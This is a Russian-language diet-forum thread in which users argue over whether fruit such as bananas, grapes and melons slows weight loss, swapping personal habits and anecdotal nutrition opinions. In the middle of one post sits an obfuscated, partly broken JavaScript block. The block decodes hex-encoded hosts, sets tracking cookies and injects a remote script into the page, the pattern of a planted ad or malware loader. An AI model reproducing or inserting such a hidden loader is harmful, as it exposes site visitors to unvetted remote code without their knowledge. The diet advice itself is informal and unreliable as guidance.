Вчерашнее общение на сайте привело к мыслям о необходимости изменения отношения к фруктам. Понимаю, ...

переедать в любом случае вредно, в том числе и фруктов. Но лучше переесть натуральной пищи , чем синтетики из супермаркета

потери забавные 200-300 гр

Отличные потери  Всем бы их

Я тоже считала, что 

Ирина Петрова написал:
Яблоки, груши, черешня и т.д. - хорошо. Бананы, виноград - плохо.

но благодаря МЗР поняла, что фрукты полезны все, главное знать меру)

Ирина Петрова написал:
Оказывается, банан как раз в рационе нужен. Как заменитель сахара . Хотя углеводов в нем тоже хватает?!

всё познается в сравнении))  Съесть банан и съесть пироженку равной калорийности, что лучше? Конечно банан) Его углеводы это фруктоза, которая лучше сахарозы из пироженки) Плюс в банане витамины)) В рационе нужно всё!)) Главное соблюдать баланс))

Так как сама люблю фрукты и ем их часто и много, но вот постоянный перебор по углям мне не дает покоя, вчера начала штудировать статьи и рекомендации в интернете. Оказывается, что диетологи во время похудения рекомендуют отказаться от фруктов или по крайней мере ограничить их максимально, причем не только бананы и виноград, а все вообще. Они замедляют скорость похудения. Объясняют это тем,что в фруктах помимо того,что это углеводы, в них очень много сахара, а так же их гликемический индекс не так низок и значит чувство голода возникнет достаточно скоро. Приводят некоторые рекомендации, что если уж употреблять фрукты,то лучше на завтрак, если выбирать, например, бананы, то лучше зеленые ,чем спелые. И вообще рекомендуют фрукты заменить на овощи, а перекусы сделать преимущественно белковые, не есть фрукты на ужин либо на ночь яблочко))) Фрукты употреблять в крайних случаях, если вопрос станет, чем перекусить по дороге пироженкой или яблоком, либо с чем употребить шампанское - с колбаской и сыром или фруктами, то выбор очевиден.
Сегодня еще продолжу изучать эту тему

Rocksa, Матильда, с приходом сюда я тоже изменила свое отношение к фруктам.Банан у меня на первом месте. Его кладу много в запеканки с творогом.Его сладости мне хватает,дополнительно сахар или сах зам не кладу.Когда нет возможности долго покушать,тоже именно банан выручает.Он быстро насыщает и придает силы. Яблоки есть перестала живьем.Тоже кладу в запеканки или запекаю в духовке ,с уткой,к примеру. так же использую апельсины. Для придания блюдам дополнительно вкуса.
Живьем съедать фрукты  мне стало не выгодно   - сытости не дают.а восле них сразу кушать хочется.Вообще спокойно смотрю на фрукты на базаре. Их значимость  в питании сильно преувеличена,ИМХО.

rangy написал:
Их значимость в питании сильно преувеличена,ИМХО.

их значимость в витаминах и микроэлементах)) 

Rocksa, да это понятно.Но они есть в овощах,я лучше их больше съем,сытнее будет. Я теперь все с точки зрения сытости еще оцениваю.А фрукты повышаю аппетит,а мне это не надо !

rangy, ну это уже дело вкуса каждого)) Личные моменты)) Съешьте огурец и съешьте банан, думаю от банан сытности побольше будет)) Но повторюсь это дело личное и индивидуальное) Кто то без мяса не может наесться, кто то без острого жить не может, кому то овощи нужны)) 

rangy написал:
Вообще спокойно смотрю на фрукты на базаре

хорошо вам! А я вот обожаю фрукты, их сезон довольно непродолжительный и хочется все попробовать и насытить организм витаминами, да и дети мои фрукты могут есть тоннами, поэтому тоже частенько переборы по углеводам из-за фруктов.
А банан в последнее время полюбила в обычный сырой творог добавлять, хотя раньше сладкий творог вообще не ела. Теперь почти ежедневно именно творог с бананом и пол. ч.л. меда на второй завтрак

Ирина Баркова, я раньше тоже тоннами ела фрукты и думала витаминизируюсь,а выходит толстела больше  Терпеь считаю,что фрукты это баловство,а не еда. Стало быть баловства должно быть в рационе немного. Вот и угомонилась 
PS То то я смотрю у многих сейчас летом тормозится похудение.,все на фрукты налегают!     

rangy, вот-вот, правильная фраза, фрукты в похудении не выгодны))))
только вот как отказаться в сезон от клубнички, черешни, нектарина или арбуза, зная, что потом целый год такого удовольствия ждать придется...

Я жить не могу без фруктов(((
Еще более обидно что потребление дыни и арбуза ну никак не может быть у меня 200-300 грамм в день

Матильда, так вам шашечки или ехать .худеть или фрукты- ягоды трескать?!
 Я правда хочу похудеть,поэтому и смотрю на еду как на источник энергии в первую очередь!

rangy написал:
То то я смотрю у многих сейчас летом тормозится похудение.,все на фрукты налегают!

это точно!!! Будем ждать осенних холодов 

Матильда, а можно ссылочки, чтобы не идти по Вашим следам? Заранее спасибо!

rangy, но есть только полезное - очень скучно! Да и домашним (особенно тем, кому вопросы фигуры не актуальны) сложно объяснить, почему любимые блюда игнорирую. И фрукты тоже. И при этом навязываю остальным 

Елена, спасибо за поддержку!

Матильда, огромное спасибо! Скачала. Буду читать, уму-разуму набираться 

Ирина Баркова, нет не согласна. НАоборот пока день длинный надо максимально успеть. А в холод жир-то , наоборот, собирается 

rangy написал:
фрукты это баловство,а не еда

В ваших взглядах на питание всё больше проявляется, я бы сказал, крестьянская основательность . Думаю, что это закономерно.

Limon99 написал:
закономерно.

закономерно у меня проявляется то,что я за любой нормальный кипиш,кроме голодовки  теперь больше ем белковой пищи,ею и  насыщаюсь. А как угли преобладают не могу накушаться   Собственно всю жизнь раньше я и ела одни угли практически.с них и пухла 
Вот сегодняшний день тому яркий пример.Много сегодня пришлось мотаться,забыла взять, как всегда, на перекус банан,примчались домой голодные-мяса готового не было,пока готовила ,начала с  овощей тушеных и спагетти,потом уже и котлеты не спасли положение.я продолжала есть все ,что было в холодильнике.Слопала конфеты -3 штуки,запеканку мужа калорийную,это уже после того как свою низкокалорийную доела,,морожку еще прикупила пока собакина выгуливала ,все никак не могла угомониться -упаковалась,как внесла в дневник , на 2000ккал  :o
А нарушено всего два  моих  новых правила -
1) бери с  собой банан и
2) в холодильнике должно быть всегда какое-то  белковое   блюдо готово.
window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="19386",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/pjs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Ну я не знаю, кушаю фрукты и ягоды тоннами, без бананов жить не могу. Могу и три штуки в день слопать. И что-то не толстеется мне. А когда худела, то обязательно ела не менее 3 фруктов в день. Меня они лично насыщают, особенно груша. Сегодня штук 8 съела и калорий как всегда не набрала, т.к. кушать теперь не хочется. А вот от овощей тошнит, ну съем я три огурца и все больше смотреть на них не могу, еле впихиваю. Кстати о полезности, у меня фрукты и ягоды составляют большую часть витаминов в рационе (м.б потому что я их много кушаю)
 

Пустовалова Юлия, это говорит только о том.что у каждого свои привычки и особенности организма. Главное знать себя и анализировать -от чего мы поправляемся,от чего бываем сыты надолго. И все!

Пустовалова Юлия, rangy, согласна с вами. Я только начинаю этот процесс, но уже понимаю от чего надо отказываться и что менять. Так что для перекуса теперь не банан буду держать. а кусочек сыра   

Елена Лопатнева, и у меня пока таки проблемы. План по углям - без проблем. ПО жирам - вроде тоже могу. А вот с белками... Меняю свой рацион, а углеводы все равно вылезают 

Я люблю яблоки и персики.И ими хорошо насыщаюсь.А вы не замечали как персики поднимают рейтинг?В них много витаминов.

Елена Лопатнева написал:
.Получается , совсем исключить?

нет,зачем же! Сезон натуральных фруктов действительно не так уж и долог. Просто относитесь   к ним,как к лакомству.И все! А лакомства много не должно быть! И потом,если я не ошибаюсь,нельзя наесться витаминов впрок на весь год. Значит бесполезно в этот период обжираться ими.

Елена Лопатнева написал:
Это многовато?

если в коридор укладываетесь,то пусть в этот период так и будет.Лишь бы они не повышали вам сильно аппетит. А то получится борьба, бороться с аппетитом   то сложно

Елена Лопатнева написал:
ох не легкая это работа!

Это вначале только кажется,что -  мы старый мир разрушим,до основания .а затем..(c) ,на самом деле с МЗP это не так все эпично,говоря молодежным сленгом 
Суть МЗP состоит в том.что все могут приспособить свои привычки и образ жизни так,чтобы особо ни в чем себя любимую не ограничивать,но худеть!!
К примеру,мне не пришлось ломать свою привычку наедаться вечером.а не до 18 нуль,нуль.как принято считать, и до сих пор этот миф живуч
. Мне не пришлось отказываться от выпечки,которую я люблю и ем каждый день,но пеку свою -более полезную и низкокалорийную и тд и тп...
Так что не так страшен черт,как его малюют!!!
Втягивайтесь,читайте ленту,очень быстро многое станет понятно!

rangy написал:
как принято считать, и до сих пор этот миф живуч

в смысле -кушать после 18-00 типа вредно,торопилась,мысль не закончила 

Елена Лопатнева, rangy, спасибо за обсуждение! Я тоже во многом сейчас привычки меняю. РАдует, что МРЗ на самом деле революций не  требует. И после 18 можно перекусить любимым сыром. А вот любовь, к ночному бутерброду исчезла сама собой Даже и не хочется. Коридор позволяеь находить другие возможности